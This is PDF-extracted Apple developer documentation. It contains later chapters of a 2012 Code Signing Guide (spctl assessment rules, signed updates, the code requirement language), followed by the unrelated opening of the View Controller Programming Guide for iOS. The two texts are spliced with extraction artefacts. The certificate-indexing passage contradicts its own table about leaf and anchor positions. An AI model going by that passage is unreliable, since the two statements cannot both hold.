To see everything the system has to say about an assessment, pass the --raw option. With this flag, the spctl
tool prints a detailed assessment as a property list.
To whitelist a program (exactly as if the UI did it), type:
spctl --add --label mytest /some/program
The --label is an optional tag that you can add to your own rules. This tag allows you to remove the rule easily
by typing:
spctl --remove --label mytest
Note that this removes all rules that match the label, which means that it is a handy way to clean up after
testing. You can also temporarily suspend your rules by typing:
Code Signing Tasks
Using the spctl Tool to Test Code Signing
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
21spctl --disable --label mytest
and reenable them later by typing:
spctl --enable --label mytest
To see a list of the current assessment rules, use the --list flag. For example:
spctl --list --type execute
The resulting list of rules might look like this:
3[Apple System] P0 allow execute
anchor apple
4[Mac App Store] P0 allow execute
anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9]
exists
5[Developer ID] P0 allow execute
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6]
exists and certificate leaf[field.1.2.840.113635.100.6.1.13] exists
7[UNLABELED] P0 allow execute [/var/tmp/firefly/RUN-FIREFLY-JOBS/test1.app]
cdhash H"f34c03450da53c07ac69282089b68723327f278a"
8[UNLABELED] P0 allow execute [/var/tmp/firefly/RUN-FIREFLY-JOBS/test1.app]
identifier "org.tpatko.Run-Firefly-Job-X-Cores" and certificate root =
H"5056a3983e3b7f44e17e3db8e483b35b6745b236"
Notice that the list above includes a number of predefined rules that describe the handling of certain classes
of code. For example, rule 5 captures all applicationssigned by a Developer ID. You can disable those applications
by typing:
spctl --disable --label "Developer ID"
This command tells the system to no longer allow execution of any Developer ID-signed applications that the
user has not previously run. This is exactly what happens when you use the preference UI to switch to "Mac
App Store only".
Each rule in the list has a unique number that can be used to address it. For example, if you type:
Code Signing Tasks
Using the spctl Tool to Test Code Signing
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
22spctl --list --label "Developer ID"
you might get a list of rules that looks like this:
5[Developer ID] P0 allow execute
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6]
exists and certificate leaf[field.1.2.840.113635.100.6.1.13] exists
6[Developer ID] P0 allow install
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6]
exists and certificate leaf[field.1.2.840.113635.100.6.1.14] exists
Notice that there are separate rules for execution (5) and installation (6), and you can enable and disable them
separately. For example, to enable installation of new applications signed with a Developer ID, you can type:
spctl --enable --rule 6
Finally, spctl allows you to enable or disable the security assessment policy subsystem. By default, assessment
isturned off, which meansthat missing or invalid code signatures do not prevent an application from launching.
However, it is strongly recommended that you test your application with assessment enabled to ensure that
your application works correctly.
To enable or disable assessment, issue one of the following commands.
sudo spctl --master-enable # enables assessment
sudo spctl --master-disable # disables assessment
spctl --status # shows whether assessment is enabled
For more information, see the manual page for spctl(8).
Shipping and Updating Your Product
The only thing that matters to the code signing system is that the signed code installed on the user’s system
identical to the code that you signed. It does not matter how you package, deliver, or install your product as
long as you don’t introduce any changesinto the product. Compression, encoding, encrypting, and even binary
patching the code are all right as long as you end up with exactly what you started with. You can use any
installer you like, as long as it doesn't write anything into the product as it installs it. Drag-installs are fine as
well.
Code Signing Tasks
Shipping and Updating Your Product
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
23When you have qualified a new version of your product, sign it just as you signed the previous version, with
the same identifier and the same designated requirement. The user’s system will consider the new version of
your product to be the same program as the previous version. In particular, the keychain will not distinguish
older and newer versions of your program aslong as both were signed and the unique Identifier hasn't changed.
You can take a partial-update approach to revising your code on the user’s system. To do so, sign the new
version as usual, then calculate the differences between the new and the old signed versions, and transmit
the differences. Because the differences include the new signature data, the result of installing the changes
on the end-user's system will be the newly signed version. You cannot patch a signed application in the field.
If you do so, the system will notice that the application has changed and will invalidate the signature, and
there is no way to re-validate or resign the application in the field.
Code Signing Tasks
Shipping and Updating Your Product
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
24When you use the codesign command to sign a block of code, you can specify internal requirements; that
is, the criteria that you recommend should be used to evaluate the code signature. It is up to the verifier to
decide whether to apply the internal requirements or some other set of requirements when deciding how to
treat the signed code. You use the code requirement language described in this chapter when specifying
requirementsto the codesign or csreq command (see the manual pagesfor codesign(1) and csreq(1)).
This chapter describes the requirement language source code. You can compile a set of requirements and save
them in binary form using the csreq command. You can provide requirements to the codesign command
either as source code or as a binary file. Both the codesign and csreq commands can convert a binary
requirement set to text. Although there is some flexibility in the source code syntax (for example, quotes can
always be used around string constants but are not always required), conversion from binary to text always
uses the same form:
● Parentheses are placed (usually only) where required to clarify operator precedence.
● String constants are quoted (usually only) where needed.
● Whether originally specified as constants or through file paths, certificate hashes are always returned as
hash constants.
● Comments in the original source are not preserved in the reconstructed text.
Language Syntax
Some basic features of the language syntax are:
● Expressions use conventional infix notation (that is, the operator is placed between the two entities being
acted on; for example quantity < constant).
● Keywords are reserved, but can be quoted to be included as part of ordinary strings.
● Comments are allowed in C, Objective C, and C++.
● Unquoted whitespace is allowed between tokens, but strings containing whitespace must be quoted.
● Line endings have no special meaning and are treated as whitespace.
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
25
Code Signing Requirement LanguageEvaluation of Requirements
A requirement constitutes an expression without side effects. Each requirement can have any number of
subexpressions, each of which is evaluated with a Boolean (succeed-fail) result. There is no defined order of
evaluation. The subexpressions are combined using logical operators in the expression to yield an overall
Boolean result for the expression. Depending on the operators used, an expression can succeed even if some
subexpressions fail. For example, the expression
anchor apple or anchor = "/var/db/yourcorporateanchor.cert"
succeeds if either subexpression succeeds—that is, if the code was signed either by Apple or by your
company—even though one of the subexpressions is sure to fail.
If an error occurs during evaluation, on the other hand, evaluation stops immediately and the codesign or
csreq command returns with a result code indicating the reason for failure.
Constants
Thissection describesthe use ofstring, integer, hash-value, and binary constantsin the code signing requirement
language.
String Constants
String constants must be enclosed by double quotes (" ") unless the string contains only letters, digits, and
periods (.), in which case the quotes are optional. Absolute file paths, which start with a slash, do not require
quotes unless they contain spaces. For example:
com.apple.mail //no quotes are required
"com.apple.mail" //quotes are optional
"My Company's signing identity" //requires quotes for spaces and apostrophe
/Volumes/myCA/root.crt //no quotes are required
"/Volumes/my CA/root.crt" //space requires quotes
"/Volumes/my_CA/root.crt" //underscore requires quotes
It’s never incorrect to enclose the string in quotes—if in doubt, use quotes.
Use a backslash to “escape” any character. For example:
Code Signing Requirement Language
Evaluation of Requirements
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
26"one \" embedded quote" //one " embedded quote
"one \\ embedded backslash" //one \ embedded backslash
There is nothing special about the single quote character (').
Integer Constants
Integer constants are written as decimal constants are in C. The language does not allow radix prefixes (such
as 0x) or leading plus or minus (+ or -) signs.
Hash Constants
Hash values are written either as a hexadecimal number in quotes preceded by an H, or as a path to a file
containing a binary certificate. If you use the first form, the number must include the exact number of digits
in the hash value. A SHA-1 hash (the only kind currently supported) requires exactly 40 digits; for example:
H"0123456789ABCDEFFEDCBA98765432100A2BC5DA"
You can use either uppercase or lowercase letters (A..F or a..f) in the hexadecimal numbers.
If you specify a file path, the compiler readsthe binary certificate and calculatesthe hash for you. The compiled
version of the requirement code includes only the hash; the certificate file and the path are not retained. If you
convert the requirement back to text, you get the hexadecimal hash constant. The file path must point to a
file containing an X.509 DER encoded certificate. No container forms (PKCS7, PKCS12) are allowed, nor is the
OpenSSL "PEM" form supported.
Variables
There are currently no variables in the requirement language.
Logical Operators
The requirement language includes the following logical operators, in order of decreasing precedence:
● ! (negation)
● and (logical AND)
● or (logical OR)
Code Signing Requirement Language
Variables
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
27These operators can be used to combine subexpressionsinto more complex expressions. The negation operator
(!) is a unary prefix operator. The others are infix operators. Parentheses can be used to override the precedence
of the operators.
Because the language is free of side effects, evaluation order of subexpressions is unspecified.
Comparison Operations
The requirement language includes the following comparison operators:
● = (equals)
● < (less than)
● > (greater than)
● <= (less than or equal to)
● >= (greater than or equal to)
● exists (value is present)
The value-present (exists) operator is a unary suffix operator. The others are infix operators.
There are no operators for non-matches (not equal to, not greater than, and so on). Use the negation operator
(!) together with the comparison operators to make non-match comparisons.
Equality
All equality operations compare some value to a constant. The value and constant must be of the same type:
a string matches a string constant, a data value matches a hexadecimal constant. The equality operation
evaluates to true if the value exists and is equal to the constant. String matching uses the same matching
rules as CFString (see CFString Reference ).
In match expressions (see “Info” (page 30), “Part of a Certificate” (page 31), and “Entitlement” (page 33)),
substrings of string constants can be matched by using the * wildcard character:
● value = *constant* is true if the value exists and any substring of the value matches the constant;
for example:
● thunderbolt = *under*
● thunderbolt = *thunder*
● thunderbolt = *bolt*
● value = constant* is true if the value exists and begins with the constant; for example:
Code Signing Requirement Language
Comparison Operations
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
28● thunderbolt = thunder*
● thunderbolt = thun*
● value = *constant is true if the value exists and ends with the constant; for example:
● thunderbolt = *bolt
● thunderbolt = *underbolt
If the constant is written with quotation marks, the asterisks must be outside the quotes. An asterisk inside the
quotation marks is taken literally. For example:
● "ten thunderbolts" = "ten thunder"* is true
● "ten thunder*bolts" = "ten thunder*"* is true
● "ten thunderbolts" = "ten thunder*" is false
Inequality
Inequality operations compare some value to a constant. The value and constant must be of the same type: a
string matches a string constant, a data value matches a hexadecimal constant. String comparisons use the
same matching rules as CFString with the kCFCompareNumerically option flag; for example, "17.4" is
greater than "7.4".
Existence
The existence operator tests whether the value exists. It evaluates to false only if the value does not exist at
all or is exactly the Boolean value false. An empty string and the number 0 are considered to exist.
Constraints
Several keywords in the requirement language are used to require that specific certificates be present or other
conditions be met.
Identifier
The expression
identifier = constant
succeedsif the unique identifierstring embedded in the code signature is exactly equal to constant. The equal
sign is optional in identifier expressions. Signing identifiers can be tested only for exact equality; the wildcard
character (*) can not be used with the identifier constraint, nor can identifiers be tested for inequality.
Code Signing Requirement Language
Constraints
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
29Info
The expression
info [key]match expression
succeedsif the value associated with the top-level key in the code’s info.plist file matches match expression ,
where match expression can include any of the operators listed in “Logical Operators” (page 27) and
“Comparison Operations” (page 28). For example:
info [CFBundleShortVersionString] < "17.4"
or
info [MySpecialMarker] exists
You must specify key as a string constant.
If the value of the specified key is a string, the match is applied to it directly. If the value is an array, it must be
an array of strings and the match is made to each in turn, succeeding if any of them matches. Substrings of
string constants can be matched by using any match expression (see “Comparison Operations” (page 28)).
If the code has no info.plist file, or the info.plist does not contain the specified key, this expression
evaluates to false without returning an error.
Certificate
Certificate constraints refer to certificates in the certificate chain used to validate the signature. Most uses of
the certificate keyword accept an integer that indicatesthe position of the certificate in the chain: positive
integers count from the leaf (0) toward the anchor. Negative integers count backward from the anchor (-1).
For example, certificate 1 is the intermediate certificate that was used to sign the leaf (that is, the signing
certificate), and certificate -2 indicates the certificate that was directly signed by the anchor. Note that
this convention is the same as that used for array indexing in the Perl and Ruby programming languages:
Anchor First intermediate Second intermediate Leaf
certificate 3 certificate 2 certificate 1 certificate 0
certificate -1 certificate -2 certificate -3 certificate -4
Other keywords include:
Code Signing Requirement Language
Constraints
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
30● certificate root—the anchor certificate; same as certificate 0
● anchor—same as certificate root
● certificate leaf—the signing certificate; same as certificate -1
Note: The short form cert is allowed for the keyword certificate.
If there is no certificate at the specified position, the constraint evaluates to false without returning an error.
If the code was signed using an ad-hoc signature, there are no certificates at all and all certificate constraints
evaluate to false. (An ad-hoc signature is created by signing with the pseudo-identity - (a dash). An ad-hoc
signature does not use or record a cryptographic identity, and thusidentifies exactly and only the one program
being signed.)
If the code was signed by a self-signed certificate, then the leaf and root refer to the same single certificate.
Whole Certificate
To require a particular certificate to be present in the certificate chain, use the form
certificate position = hash
or one of the equivalent forms discussed above, such as anchor = hash . Hash constants are described in
“Hash Constants” (page 27).
For Apple’s own code, signed by Apple, you can use the short form
anchor apple
For code signed by Apple, including code signed using a signing certificate issued by Apple to other developers,
use the form
anchor apple generic
Part of a Certificate
To match a well-defined element of a certificate, use the form
certificate position[element]match expression
where match expression can include the * wildcard character and any of the operators listed in “Logical
Operators” (page 27) and “Comparison Operations” (page 28). The currently supported elements are asfollows:
Code Signing Requirement Language
Constraints
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
31Note: Case is significant in element names.
Element name Meaning Comments
subject.CN Subject common name Shown in Keychain Access utility
subject.C Subject country name
subject.D Subject description
subject.L Subject locality
subject.O Subject organization Usually company or organization
subject.OU Subject organizational unit
subject.STREET Subject street address
Certificate field by OID
To check for the existence of any certificate field identified by its X.509 object identifier (OID), use the form
certificate position [field.OID] exists
The object identifier must be written in numeric form (x.y.z ...) and can be the OID of a certificate extension
or of a conventional element of a certificate as defined by the CSSM standard (see Chapter 31 in Common
Security: CDSA and CSSM, version 2 (with corrigenda) by the Open Group (http://www.opengroup.org/security/cdsa.htm)).
Trusted
The expression
certificate position trusted
succeeds if the certificate specified by position is marked trusted for the code signing certificate policy in the
system’s Trust Settings database. The position argument is an integer or keyword that indicates the position
of the certificate in the chain; see the discussion under “Certificate” (page 30).
The expression
anchor trusted
Code Signing Requirement Language
Constraints
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
32succeeds if any certificate in the signature’s certificate chain is marked trusted for the code signing certificate
policy in the system’s Trust Settings database, provided that no certificate closer to the leaf certificate is explicitly
untrusted.
Thus, using the trusted keyword with a certificate position checks only the specified certificate, while using
it with the anchor keyword checks all the certificates, giving precedence to the trust setting found closest to
the leaf.
Important: The syntax anchor trusted is not a synonym for certificate anchor trusted. Whereas
the former checks all certificates in the signature, the latter checks only the anchor certificate.
Certificates can have per-user trust settings and system-wide trust settings, and trust settings apply to specific
policies. The trusted keyword in the code signing requirement language causes trust to be checked for the
specified certificate or certificates for the user performing the validation. If there are no settings for that user,
then the system settings are used. In all cases, only the trust settings for the code-signing policy are checked.
Policies and trust are discussed in Certificate, Key, and Trust Services Programming Guide .
Important: If you do not include an expression using the trusted keyword in your code signing
requirement, then the verifier does not check the trust status of the certificates in the code signature at all.
Entitlement
The expression
entitlement [key] match expression
succeeds if the value associated with the specified key in the signature’s embedded entitlement dictionary
matches match expression , where match expression can include the * wildcard character and any of the
operators listed in “Logical Operators” (page 27) and “Comparison Operations” (page 28). You must specify
key as a string constant. The entitlement dictionary is included in signatures for certain platforms.
Code Directory Hash
The expression
cdhash hash-constant
computes a SHA-1 hash of the program’s CodeDirectory resource and succeeds if the value of this hash exactly
equals the specified hash constant.
Code Signing Requirement Language
Constraints
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
33The CodeDirectory resource is the master directory of the contents of the program. It consists of a versioned
header followed by an array of hashes. This array consists of a set of optionalspecial hashesfor other resources,
plus a vector of hashes for pages of the main executable. The CodeSignature and CodeDirectory resources
together make up the signature of the code.
You can use the codesign utility with (at least) three levels of verbosity to obtain the hash constant of a
program’s CodeDirectory resource:
$ codesign -dvvv /bin/ls
...
CodeDirectory v=20001 size=257 flags=0x0(none) hashes=8+2 location=embedded
CDHash=4bccbc576205de37914a3023cae7e737a0b6a802
...
Because the code directory changes whenever the program changes in a nontrivial way, this test can be used
to unambiguously identify one specific version of a program. When the operating system signs an otherwise
unsigned program (so that the keychain or Parental Controls can recognize the program, for example), it uses
this requirement.
Requirement Sets
A requirementset is a collection of distinct requirements, each indexed (tagged) with a type code. The expression
tag => requirement
applies requirement to the type of code indicated by tag , where possible tags are
● host—thisrequirement is applied to the direct host of this code module; each code module in the hosting
path can have its own host requirement, where the hosting path isthe chain of code signing hostsstarting
with the most specific code known to be running, and ending with the root of trust (the kernel)
● guest—this requirement is applied to each code module that is hosted by this code module
● library—this requirement is applied to all libraries mounted by the signed code
● designated—this is an explicitly specified designated requirement for the signed code; if there is no
explicitly specified designated requirement for the code, then there is no designated internal requirement
The primary use of requirement sets is to represent the internal requirements of the signed code. For example:
Code Signing Requirement Language
Requirement Sets
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
34codesign -r='host => anchor apple and identifier com.apple.perl designated =>
anchor /my/root and identifier com.bar.foo'
setsthe internal requirements ofsome code, having a host requirement of anchor apple and identifier
com.apple.perl (“I'm a Perlscript and I want to be run by Apple's Perl interpreter”) and an explicit designated
requirement of anchor /my/root and identifier com.bar.foo. Note that this command sets no guest
or library requirements.
You can also put the requirement set in a file and point to the file:
codesign -r myrequirements.rqset
where the file myrequirements.rqset might contain:
//internal requirements
host => anchor apple and identifier com.apple.perl //require Apple's Perl
interpreter
designated => anchor /my/root and identifier com.bar.foo
Code Signing Requirement Language
Requirement Sets
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
35This table describes the changes to Code Signing Guide .
Date Notes
2012-07-23 Added information about new spctl features in OS X v10.8.
Added information about Developer IDs and explanation of how to code
sign a framework.
2012-05-15
2011-09-28 Revised document to focus exclusively on code signing.
Some of the content in this document was previously in Code Signing and
Application Sandboxing Guide .
2011-07-11 Added information about application sandboxing.
2009-10-19 Fixed typographical errors.
2009-10-13 Clarified explanation of CFBundleIdentifier and uniqueness.
2008-11-19 Added a chapter describing the code signing requirement language.
New document that explains why you should sign your code and provides
code signing procedures.
2007-05-15
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
36
Document Revision HistoryApple Inc.
© 2012 Apple Inc.
All rights reserved.
No part of this publication may be reproduced,
stored in a retrievalsystem, or transmitted, in any
form or by any means, mechanical, electronic,
photocopying, recording, or otherwise, without
prior written permission of Apple Inc., with the
following exceptions: Any person is hereby
authorized to store documentation on a single
computer for personal use only and to print
copies of documentation for personal use
provided that the documentation contains
Apple’s copyright notice.
No licenses, express or implied, are granted with
respect to any of the technology described in this
document. Apple retains all intellectual property
rights associated with the technology described
in this document. This document is intended to
assist application developers to develop
applications only for Apple-labeled computers.
Apple Inc.
1 Infinite Loop
Cupertino, CA 95014
408-996-1010
Apple, the Apple logo, Keychain, Logic, Mac, OS
X, Safari, Sand, and Xcode are trademarks of
Apple Inc., registered in the U.S. and other
countries.
App Store and Mac App Store are service marks
of Apple Inc.
Even though Apple has reviewed this document,
APPLE MAKES NO WARRANTY OR REPRESENTATION,
EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS
DOCUMENT, ITS QUALITY, ACCURACY,
MERCHANTABILITY, OR FITNESS FOR A PARTICULAR
PURPOSE.ASARESULT, THISDOCUMENT IS PROVIDED
“AS IS,” AND YOU, THE READER, ARE ASSUMING THE
ENTIRE RISK AS TO ITS QUALITY AND ACCURACY.
IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT,
INDIRECT, SPECIAL, INCIDENTAL,OR CONSEQUENTIAL
DAMAGES RESULTING FROM ANY DEFECT OR
INACCURACY IN THIS DOCUMENT, even if advised of
the possibility of such damages.
THE WARRANTY AND REMEDIES SET FORTH ABOVE
ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL
OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer,
agent, or employee is authorized to make any
modification, extension, or addition to this warranty.
Some states do not allow the exclusion or limitation
of implied warranties or liability for incidental or
consequential damages, so the above limitation or
exclusion may not apply to you. This warranty gives
you specific legal rights, and you may also have other
rights which vary from state to state.
View Controller
Programming Guide for
iOSContents
About View Controllers 9
At a Glance 10
A View Controller Manages a Set of Views 10
You Manage Your Content Using Content View Controllers 10
Container View Controllers Manage Other View Controllers 10
Presenting a View Controller Temporarily Brings Its View Onscreen 11
Storyboards Link User Interface Elements into an App Interface 11
How to Use This Document 12
Prerequisites 12
See Also 12
View Controller Basics 14
Screens, Windows, and Views Create Visual Interfaces 15
View Controllers Manage Views 17
A Taxonomy of View Controllers 19
Content View Controllers Display Content 19
Container View Controllers Arrange Content of Other View Controllers 21
A View Controller’s Content Can Be Displayed in Many Ways 26
View Controllers Work Together to Create an App’s Interface 28
Parent-Child Relationships Represent Containment 29
Sibling Relationships Represent Peers Inside a Container 29
Presentation Represents a Transient Display of Another Interface 30
Control Flow Represents Overall Coordination Between Content Controllers 31
Storyboards Help You Design Your User Interface 33
Using View Controllers in Your App 35
Working with View Controllers in Storyboards 36
The Main Storyboard Initializes Your App’s User Interface 37
Segues Automatically Instantiate the Destination View Controller 37
Instantiating a Storyboard’s View Controller Programmatically 39
Containers Automatically Instantiate Their Children 41
Instantiating a Non-Storyboard View Controller 41
Displaying a View Controller’s Contents Programmatically 41
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
2Creating Custom Content View Controllers 43
Anatomy of a Content View Controller 43
View Controllers Manage Resources 44
View Controllers Manage Views 45
View Controllers Respond to Events 45
View Controllers Coordinate with Other Controllers 45
View Controllers Often Work with Containers 46
View Controllers May Be Presented by Other View Controllers 46
Designing Your Content View Controller 47
Use a Storyboard to Implement Your View Controller 48
Know When Your Controller Is Instantiated 48
Know What Data Your View Controller Shows and Returns 48
Know What Tasks Your Controller Allows the User to Perform 49
Know How Your View Controller Is Displayed Onscreen 50
Know How Your Controller Collaborates with Other Controllers 50
Examples of Common View Controller Designs 50
Example: Game Title Screen 50
Example: Master View Controller 52
Example: Detail View Controller 53
Example: Mail Compose View Controller 54
Implementation Checklist for Custom Content View Controllers 54
Resource Management in View Controllers 56
Initializing a View Controller 56
Initializing a View Controller Loaded from a Storyboard 56
Initializing View Controllers Programmatically 57
A View Controller Instantiates Its View Hierarchy When Its View is Accessed 57
Loading a View Controller’s View from a Storyboard 59
Creating a View Programmatically 60
Managing Memory Efficiently 61
On iOS 6 and Later, a View Controller Unloads Its Own Views When Desired 63
On iOS 5 and Earlier, the System May Unload Views When Memory Is Low 64
Responding to Display-Related Notifications 66
Responding When a View Appears 66
Responding When a View Disappears 67
Determining Why a View’s Appearance Changed 67
Resizing the View Controller’s Views 69
A Window Sets the Frame of Its Root View Controller’s View 69
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
3
ContentsA Container Sets the Frames of Its Children’s Views 70
A Presented View Controller Uses a Presentation Context 70
A Popover Controller Sets the Size of the Displayed View 70
How View Controllers Participate in the View Layout Process 70
Using View Controllers in the Responder Chain 72
The Responder Chain Defines How Events Are Propagated to the App 72
Supporting Multiple Interface Orientations 74
Controlling What Interface Orientations Are Supported (iOS 6) 75
Declaring a View Controller’s Supported Interface Orientations 75
Dynamically Controlling Whether Rotation Occurs 76
Declaring a Preferred Presentation Orientation 76
Declaring the App’s Supported Interface Orientations 76
Understanding the Rotation Process (iOS 5 and earlier) 77
Declaring the Supported Interface Orientations 77
Responding to Orientation Changes in a Visible View Controller 78
Rotations May Occur When Your View Controller Is Hidden 80
Creating an Alternate Landscape Interface 80
Tips for Implementing Your Rotation Code 82
Accessibility from the View Controller’s Perspective 83
Moving the VoiceOver Cursor to a Specific Element 83
Responding to Special VoiceOver Gestures 84
Escape 85
Magic Tap 85
Three-Finger Scroll 85
Increment and Decrement 86
Observing Accessibility Notifications 86
Presenting View Controllers from Other View Controllers 88
How View Controllers Present Other View Controllers 88
Presentation Styles for Modal Views 91
Presenting a View Controller and Choosing a Transition Style 93
Presentation Contexts Provide the Area Covered by the Presented View Controller 95
Dismissing a Presented View Controller 95
Presenting Standard System View Controllers 96
Coordinating Efforts Between View Controllers 98
When Coordination Between View Controllers Occurs 98
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
4
ContentsWith Storyboards, a View Controller is Configured When It Is Instantiated 99
Configuring the Initial View Controller at Launch 100
Configuring the Destination Controller When a Segue is Triggered 101
Using Delegation to Communicate with Other Controllers 103
Guidelines for Managing View Controller Data 105
Enabling Edit Mode in a View Controller 106
Toggling Between Display and Edit Mode 106
Presenting Editing Options to the User 108
Creating Custom Segues 109
The Life Cycle of a Segue 109
Implementing a Custom Segue 109
Creating Custom Container View Controllers 111
Designing Your Container View Controller 111
Examples of Common Container Designs 113
A Navigation Controller Manages a Stack of Child View Controllers 113
A Tab Bar Controller Uses a Collection of Child Controllers 115
A Page Controller Uses a Data Source to Provide New Children 116
Implementing a Custom Container View Controller 116
Adding and Removing a Child 116
Customizing Appearance and Rotation Callback Behavior 119
Practical Suggestions for Building a Container View Controller 120
Document Revision History 122
Glossary 124
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
5
ContentsFigures, Tables, and Listings
View Controller Basics 14
Figure 1-1 A window with its target screen and content views 15
Figure 1-2 Classes in the view system 16
Figure 1-3 A view controller attached to a window automatically adds its view as a subview of the window
17
Figure 1-4 Distinct views managed by separate view controllers 18
Figure 1-5 View controller classes in UIKit 19
Figure 1-6 Managing tabular data 21
Figure 1-7 Navigating hierarchical data 23
Figure 1-8 Different modes of the Clock app 24
Figure 1-9 A master-detail interface in portrait and landscape modes 25
Figure 1-10 Presenting a view controller 27
Figure 1-11 Parent-child relationships 29
Figure 1-12 Sibling relationships in a navigation controller 30
Figure 1-13 Modal presentation by a content view 30
Figure 1-14 The actual presentation is performed by the root view controller. 31
Figure 1-15 Communication between source and destination view controllers 32
Figure 1-16 A storyboard diagram in Interface Builder 33
Using View Controllers in Your App 35
Figure 2-1 A storyboard holds a set of view controllers and associated objects 36
Listing 2-1 Triggering a segue programmatically 38
Listing 2-2 Instantiating another view controller inside the same storyboard 39
Listing 2-3 Instantiating a view controller from a new storyboard 40
Listing 2-4 Installing the view controller as a window’s root view controller 42
Creating Custom Content View Controllers 43
Figure 3-1 Anatomy of a content view controller 44
Figure 3-2 A container view controller imposes additional demands on its children 46
Resource Management in View Controllers 56
Figure 4-1 Loading a view into memory 58
Figure 4-2 Connections in the storyboard 60
Figure 4-3 Unloading a view from memory 65
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
6Table 4-1 Places to allocate and deallocate memory 62
Listing 4-1 Custom view controller class declaration 59
Listing 4-2 Creating views programmatically 61
Listing 4-3 Releasing the views of a view controller not visible on screen 63
Responding to Display-Related Notifications 66
Figure 5-1 Responding to the appearance of a view 66
Figure 5-2 Responding to the disappearance of a view 67
Table 5-1 Methods to call to determine why a view’s appearance changed 68
Using View Controllers in the Responder Chain 72
Figure 7-1 Responder chain for view controllers 73
Supporting Multiple Interface Orientations 74
Figure 8-1 Processing an interface rotation 79
Listing 8-1 Implementing the supportedInterfaceOrientations method 75
Listing 8-2 Implementing the preferredInterfaceOrientationForPresentation method 76
Listing 8-3 Implementing the shouldAutorotateToInterfaceOrientation: method 78
Listing 8-4 Presenting the landscape view controller 81
Accessibility from the View Controller’s Perspective 83
Listing 9-1 Posting an accessibility notification can change the first element read aloud 84
Listing 9-2 Registering as an observer for accessibility notifications 86
Presenting View Controllers from Other View Controllers 88
Figure 10-1 Presented views in the Calendar app. 89
Figure 10-2 Creating a chain of modal view controllers 90
Figure 10-3 Presenting navigation controllers modally 91
Figure 10-4 iPad presentation styles 92
Table 10-1 Transition styles for modal view controllers 93
Table 10-2 Standard system view controllers 96
Listing 10-1 Presenting a view controller programmatically 94
Coordinating Efforts Between View Controllers 98
Listing 11-1 The app delegate configures the controller 100
Listing 11-2 Creating the window when a main storyboard is not being used 101
Listing 11-3 Configuring the destination controller in a segue 102
Listing 11-4 Delegate protocol for dismissing a presented view controller 104
Listing 11-5 Dismissing a presented view controller using a delegate 104
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
7
Figures, Tables, and ListingsEnabling Edit Mode in a View Controller 106
Figure 12-1 Display and edit modes of a view 107
Creating Custom Segues 109
Listing 13-1 A custom segue 110
Creating Custom Container View Controllers 111
Figure 14-1 A container view controller’s view hierarchy contains another controller’s views 112
Figure 14-2 A navigation controller’s view and view controller hierarchy 114
Figure 14-3 A tab bar controller’s view and view controller hierarchy 115
Listing 14-1 Adding another view controller’s view to the container’s view hierarchy 117
Listing 14-2 Removing another view controller’s view to the container’s view hierarchy 117
Listing 14-3 Transitioning between two view controllers 118
Listing 14-4 Disabling automatic appearance forwarding 119
Listing 14-5 Forwarding appearance messages when the container appears or disappears 119
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
8
Figures, Tables, and ListingsView controllers are a vital link between an app’s data and its visual appearance. Whenever an iOS app displays
a user interface, the displayed content is managed by a view controller or a group of view controllers
coordinating with each other. Therefore, view controllers provide the skeletal framework on which you build
your apps.
iOS provides many built-in view controller classesto supportstandard user interface pieces,such as navigation
and tab bars. As part of developing an app, you also implement one or more custom controllers to display the
content specific to your app.
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
9
About View ControllersAt a Glance
View controllers are traditional controller objects in the Model-View-Controller (MVC) design pattern, but they
also do much more. View controllers provide many behaviors common to all iOS apps. Often, these behaviors
are built into the base class. For some behaviors, the base class provides part of the solution and your view
controllersubclassimplements custom code to provide the rest. For example, when the user rotatesthe device,
the standard implementation attempts to rotate the user interface; however, your subclass decides whether
the user interface should be rotated, and, if so, how the configuration of its views should change in the new
orientation. Thus, the combination of a structured base class and specific subclassing hooks make it easy for
you to customize your app’s behavior while conforming to the platform design guidelines.
A View Controller Manages a Set of Views
A view controller manages a discrete portion of your app’s user interface. Upon request, it provides a view that
can be displayed or interacted with. Often, this view is the root view for a more complex hierarchy of
views—buttons, switches, and other user interface elements with existing implementations in iOS. The view
controller acts asthe central coordinating agent for this view hierarchy, handling exchanges between the views
and any relevant controller or data objects.
Relevant chapter: “View Controller Basics” (page 14)
You Manage Your Content Using Content View Controllers
To present content that is specific to your app, you implement your own content view controllers. You create
new view controller classes by subclassing either the UIViewController class or the
UITableViewController class, implementing the methods necessary to present and control your content.
Relevant chapter: “Creating Custom Content View Controllers” (page 43)
Container View Controllers Manage Other View Controllers
Container view controllers display content owned by other view controllers. These other view controllers are
explicitly associated with the container, forming a parent-child relationship. The combination of container and
content view controllers creates a hierarchy of view controller objects with a single root view controller.
Each type of container defines its own interface to manage its children. The container’s methods sometimes
define specific navigational relationships between the children. A container can also set specific restrictions
on the types of view controllers that can be its children. It may also expect the view controllers that are its
children to provide additional content used to configure the container.
About View Controllers
At a Glance
